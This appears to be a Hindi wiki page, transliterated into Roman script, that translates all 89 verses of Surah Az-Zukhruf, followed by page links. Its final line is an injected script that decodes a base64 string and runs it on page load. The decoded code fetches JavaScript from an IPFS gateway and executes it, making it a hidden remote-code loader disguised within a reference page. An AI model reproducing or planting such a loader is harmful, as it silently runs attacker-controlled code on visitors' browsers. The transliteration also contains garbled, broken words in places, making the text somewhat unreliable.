अज़-ज़ुख़रुफ़

az-zukharuf islam dharm ke pavitr granth quran ka 43vaan soora (adhyay) hai jisamean 89 ayatean hoti haian.
43:1- ha mim.
43:2- raushan kitab (quran) ki qasam.
43:3- hamane is kitab ko arabi zaban quran zaroor banaya hai taki tum samajho.
43:4- aur beshak ye (quran) asali kitab (lauh mahaphooz) mean (bhi jo) mere pas hai likhi huee hai (aur) yaqinan b de rootabe ki (aur) puraz hikamat hai.
43:5- bhala is vajah se ki tum jyadati karane vale log ho ham tumako nasihat karane se muanh mo deange (haragiz nahian).
43:6- aur hamane agale logoan ko bahut se paigambar bheje the.
43:7- aur koee paigambar unake pas aisa nahian aya jisase in logoan ne thatthe nahian kie ho.
43:8- to unamean se jo jyada zoravar the to unako hamane halak kar mara aur (duniya mean) agaloan ke afasane jari ho ge.
43:9- aur (ai rasool) agar tum unase poochho ki sare asaman v zamin ko kisane paida kiya to vah zaroor kah deange ki unako b de vaqifakar zabaradast (khuda ne) paida kiya hai.
43:10- jisane tum logoan ke vaste zamin ka bichhauna banaya aur (phir) usamean tumhare nafe ke lie raste banae taki tum rah maloom karo.
43:11- aur jisane ek (munasib) andaje qe sath asaman se pani barasaya phir ham hi ne usake (zarie) se murda (parati) shahar ko zinda (abad) kiya usi tarah tum bhi (qayamat ke din qabroan se) nikale jaoge.
43:12- aur jisane har kism ki chize paida kian aur tumhare lie kashtiyaan banayian aur charapae (paida kie) jin par tum savar hote ho.
43:13- taki tum usaki pith par chadho aur jab us par (achchhi tarah) sidhe ho baitho to apane paravaradigar ka ehasan mana karo aur kaho ki vah (khuda har aib se) pak hai jisane isako hamara tabedar banaya hal aauki ham to aise (taqatavar) n the ki us par qaboo pate.
43:14- aur hamako to yaqinan apane paravaradigar ki taraph laut kar jana hai.
43:15- aur un logoan ne usake bandoan mean se usake lie aulad qarar di hai isamean shaq nahian ki insan khullam khulla b da hi nashakra hai.
43:16- kya usane apani makhalooqat mean se khud to betiyaan li haian aur tumako chunakar bete die haian.
43:17- hal aauki jab unamean kisi shakhsh ko us chiz (beti) ki khushakhabari di jati hai jisaki misal usane khuda ke lie bayan ki hai to vah (gusse ke mare) siyah ho jata hai aur tav peanch khane lagata hai.
43:18- kya vah (aurat) jo zevaroan mean pali posi jae aur jhag de mean (achchhi tarah) bat tak n kar sakean (khuda ki beti ho sakati hai).
43:19- aur un logoan ne farishtoan ko ki vah bhi khuda ke bande haian (khuda ki) betiyaan banayi haian log pharishtoan ki paidaish kyoan kh de dekh rahe the abhi unaki shahadat qalam band kar li jati hai.
43:20- aur (qayamat) mean unase bazapurs ki jaegi aur kahate haian ki agar khuda chahata to ham unaki parasatish n karate unako usaki kuchh khabar hi nahian ye log to bas atakal pachchoo batean kiya karate haian.
43:21- ya hamane unako usase pahale koee kitab di thi ki ye log use mazaboot thamean hue haian.
43:22- balki ye log to ye kahate haian ki hamane apane bap dadaoan ko ek tarike par paya aur ham unako qadam b qadam thik raste par chale ja rahean haian.
43:23- aur (ai rasool) isi tarah hamane tumase pahale kisi basti mean koee darane vala (paigambar) nahian bheja magar vahaan ke khushahal logoan ne yahi kaha ki hamane apane bap dadaoan ko ek tarike par paya, aur ham yaqini unake qadam b qadam chale ja rahe haian.
43:24- (is par) unake paigambar ne kaha bhi jis tariqe par tumane apane bap dadaoan ko paya agarache maian tumhare pas isase behatar rahe rast par lane vala din lekar aya hooan (to bhi n manoge) vah bole (kuchh ho magar) ham to us din ko jo tum dekar bheje ge ho manane vale nahian.
43:25- to hamane unase badala liya (to zara) dekho to ki jhuthalane valoan ka kya anjam hua.
43:26- (aur vah vakht yad karo) jab ibrahim ne apane (muanh bole) bap (azar) aur apani qaum se kaha ki jin chizoan ko tum log poojate ho maian yaqinan usase bezar hooan.
43:27- magar usaki ibadat karata hooan, jisane mujhe paida kiya to vahi bahut jald meri hidayat karega.
43:28- aur usi (eeman) ko ibrahim ne apani aulad mean hamesha baqi rahane vali bat chho d ge taki vah (khuda ki taraph roojoo) karean.
43:29- balki maian unako aur unake bap dadaoan ko phayada pahuanchata raha yahaan tak ki unake pas (dine) haq aur saf saf bayan karane vala rasool a pahuancha.
43:30- aur jab unake pas (din) haq a gaya to kahane lage ye to jadoo hai aur ham to haragiz isake manane vale nahian.
43:31- aur kahane lage ki ye quran in do bastiyoan (makke taeph) mean se kisi b de adami par kyoan nahian nazil kiya gaya.
43:32- ye log tumhare paravaradigar ki rahamat ko (apane taur par) baantate haian hamane to inake daramiyan unaki rozi dunayavi zindagi mean baant hi di hai aur ek ke doosare par darje buland kie haian taki inamean ka ek doosare se khidamat le aur jo mal (mata) ye log jama karate phirate haian khuda ki rahamat (paigambar) isase kahian behatar hai.
43:33- aur agar ye bat n hoti ki (akhir) sab log ek hi tariqe ke ho jaeange to ham unake lie jo khuda se inkar karate haian unake gharoan ki chhatean aur vahi sidhiyaan jin par vah chadhate haian (utarate haian).
43:34- aur unake gharoan ke daravaze aur vah takht jin par takiye lagate haian chaandi aur sone ke bana dete.
43:35- ye sab sazo saman, to bas duniyavi zindagi ke (chand roza) sazo saman haian (jo mit jaeange) aur akherat (ka saman) to tumhare paravaradigar ke yah aau khas parahezagaroan ke lie hai.
43:36- aur jo shakhsh khuda ki chah se andha banata hai ham (goya khud) usake vaste shaitan muqarrar kar dete haian to vahi usaka (har dam ka) sathi hai.
43:37- aur vah (shayatin) un logoan ko (khuda ki) rah se rokate rahate haian bavajood isake vah usi khyal mean haian ki vah yaqini rahe rast par haian.
43:38- yahaan tak ki jab (qayamat mean) hamare pas aega to (apane sathi shaitan se) kahega kash mujhamean aur tumamean poorab pashchim ka fasala hota garaz (shaitan bhi) kya hi bura raphiq hai.
43:39- aur jab tum napharamaniyaan kar chuke to (shayatin ke sath) tumhara azab mean sharik hona bhi aj tumako (azab ki kami mean) koee phayada nahian pahuancha sakata.
43:40- to (ai rasool) kya tum baharoan ko suna sakate ho ya andhe ko aur us shakhsh ko jo sarihi gumarahi mean p da ho rasta dikha sakate ho (haragiz nahian).
43:41- to agar ham tumako (duniya se) le bhi jaean to bhi hamako unase badala lena zaroori hai.
43:42- ya (tumhari zindagi hi mean) jis azab ka hamane unase vayada kiya hai tumako dikha dean to un par har tarah qaboo rakhate haian.
43:43- to tumhare pas jo vahi bheji gayi hai tum use mazaboot pak de raho isamean shaq nahian ki tum sidhi rah par ho.
43:44- aur ye (quran) tumhare lie aur tumhari qaum ke lie nasihat hai aur anaqarib hi tum logoan se isaki bazapurs ki jaegi.
43:45- aur hamane tumase pahale apane jitane paigambar bheje haian un sab se dariyapht kar dekho kya hamane khuda ki siva aur mabood banaea the ki unaki ibadat ki jae.
43:46- aur ham hi ne yaqinan moosa ko apani nishaniyaan dekar phiraun aur usake darabariyoan ke pas (paigambar banakar) bheja tha to moosa ne kaha ki maian sare jah aaun ke palane vale (khuda) ka rasool hooan.
43:47- to jab moosa un logoan ke pas hamare maujize lekar ae to vah log un maujizoan ki hansi u dane lage.
43:48- aur ham jo maujiza un ko dikhate the vah doosare se badh kar hota tha aur akhir hamane unako azab mean giraphtar kiya taki ye log baz aean.
43:49- aur (jab) azab mean giraphtar hue to (moosa se) kahane lage ai jadoogar is ehad ke mutabiq़ jo tumhare paravaradigar ne tumase kiya hai hamare vaste dua kar.
43:50- (agar ab ki chhoote) to ham zaroor oopar a jaeange phir jab hamane unase azab ko hata diya to vah phauran (apana) ahad to d baithe.
43:51- aur phiraun ne apane logoan mean pukar kar kaha ai meri qaum kya (ye) mulk misr hamara nahian aur (kya) ye naharean jo hamare (shahi mahal ke) niche bah rahi haian (hamari nahian) to kya tumako itana bhi nahian soojhata.
43:52- ya (soojhata hai ki) maian is shakhsh (moosa) se jo ek zalil adami hai aur (hakale pan ki vajah se) saf guphtagoo bhi nahian kar sakata.
43:53- kahian bahut behatar hooan (agar ye behatar hai to isake lie sone ke kangan) (khuda ke h aau se) kyoan nahian utare gaye ya usake sath farishte jama hokar ate.
43:54- garaz phiraun ne (batean banakar) apani qaum ki aqal mar di aur vah log usake tabedar ban gaye beshak vah log badakar the hi.
43:55- garaz jab un logoan ne hamako jhujhanla diya to hamane bhi unase badala liya to hamane un sab (ke sab) ko dubo diya.
43:56- phir hamane unako gaya guzara aur pichhaloan ke vaste ibarat bana diya.
43:57- aur(ai rasool) jab mariyam ke bete (eesa) ki misal bayan ki gayi to usase tumhari qaum ke log khilakhila kar hansane lage.
43:58- aur bol uthe ki bhala hamare mabood achchhe haian ya vah (eesa) un logoan ne jo eesa ki misal tumase bayan ki hai to sirph jhag dane ko.
43:59- balki (haq to yah hai ki) ye log haian jhag daloo eesa to bas hamare ek bande the jin par hamane ehasan kiya (nabi banaya aur maujize diye) aur unako hamane bani isaraeel ke lie (apani kudarat ka) namoona banaya.
43:60- aur agar ham chahate to tum hi logoan mean se (kisi ko) farishte bana dete jo tumhari jagah zamin mean rahate.
43:61- aur vah to yaqinan qayamat ki ek raushan dalil hai tum log isamean haragiz yaq n karo aur meri pairavi karo yahi sidha rasta hai.
43:62- aur (kahian) shaitan tum logoan ko (isase) rok n de vahi yaqinan tumhara khullam khulla dushman hai.
43:63- aur jab eesa vazee v raushan maujize lekar aye to (logoan se) kaha maian tumhare pas danaee (ki kitab) lekar aya hooan taki baz batean jin mean tum log ekhtelaph karate the tumako saph-saph bata dooan to tum log khuda se daro aur mera kaha mano.
43:64- beshak khuda hi mera aur tumhar paravaradigar hai to usi ki ibadat karo yahi sidha rasta hai.
43:65- to inamean se kee phiraqe unase ekhtelaph karane lage to jin logoan ne zulm kiya un par dardanaank din ke azab se afasos hai.
43:66- kya ye log bas qayamat ke hi munzir baithe haian ki achanak hi un par a jae aur un ko khabar tak n ho.
43:67- (dili) dost is din (baham) ek doosare ke dushaman hogean magar parahezagar ki vah dost hi raheange.
43:68- aur khuda unase kahega ai mere bandoan aj n to tumako koee khauph hai aur n tum gamagin hoange.
43:69- (yah) vah log haian jo hamari ayatoan par eeman lae aur (hamare) faramabaradar the.
43:70- to tum apani biviyoan samait ejaz v ikaram se behisht mean dakhil ho jao.
43:71- un par sone ki ek riqabiyoan aur pyaliyoan ka daur chalega aur vahaan jis chiz ko ji chahe aur jisase aauankhean lajzat uthaean (sab maujood haian) aur tum usamean hamesha rahoge.
43:72- aur ye jannat jisake tum varis (hissedar) kar diye gaye ho tumhari qaraguzariyoan ka sila hai.
43:73- vahaan tumhare vaste bahut se meve haian jinako tum khaoge.
43:74- (gunahagar kuphfar) to yaqikan jahannum ke azab mean hamesha raheange.
43:75- jo unase kabhi naga n kiya jaega aur vah isi azab mean naummid hokar raheange.
43:76- aur hamane un par koee zulm nahian kiya balki vah log khud apane oopar zulm kar rahe haian.
43:77- aur (jahannumi) pukaregean ki ai malik (daroga e jahannum koee tarakib karo) tumhara paravaradigar hamean maut hi de de vah javab dega ki tumako isi hal mean rahana hai.
43:78- (ai kuphfar makka) ham to tumhare pas haq lekar ayean haian tum me se bahut se haq (bat se chidhate) haian.
43:79- kya un logoan ne koee bat than li hai hamane bhi (kuchh than liya hai).
43:80- kya ye log kuchh samajhate haian ki ham unake bhed aur unaki saragoshiyoan ko nahian sunate h aau (zaroor sunate haian) aur hamare farishte unake pas haian aur unaki sab batean likhate jate haian.
43:81- (ai rasool) tum kah do ki agar khuda ki koee aulad hoti to maian sabase pahale usaki ibadat ko taiyar hooan.
43:82- ye log jo kuchh bayan karate haian sare asaman v zamin ka malik arsh ka malik (khuda) usase pak v paqiza hai.
43:83- to tum unhean chho d do ki p de bak bak karate aur khelate rahate haian yahaan tak ki jis din ka unase vayada kiya jata hai.
43:84- unake samane a maujood ho aur asaman mean bhi (usi ki ibadat ki jati hai aur vahi zamin mean bhi mabood hai aur vahi vakifakar hikamat vala hai.
43:85- aur vahi bahut babarakat hai jisake lie sare asaman v zamin aur donoan ke daramiyan ki huqumat hai aur qayamat ki khabar bhi usi ko hai aur tum log usaki taraph lautae jaoge.
43:86- aur khuda ke siva jinaki ye log ibadat karatean haian vah to sipharish ka bhi ekhteyar nahian rakhate magar (h aau) jo log samajh boojh kar haq bat (tauhid) ki gavahi dean (to khair).
43:87- aur agar tum unase poochhoge ki unako kisane paida kiya to zaroor kah degean ki allah ne phir (bavajood isake) ye kahaan bahake ja rahe haian.
43:88- aur (usi ko) rasool ke us qaul ka bhi ilm hai ki paravaradigar ye log haragiz eeman n laeange.
43:89- to tum unase muanh pher lo aur kah do ki tum ko salam to unhean anaqarib hi (shararat ka natija) maloom ho jaega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• az-zukharuf
• Surah Az-Zukhruf / সূরা যুখরুফ

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>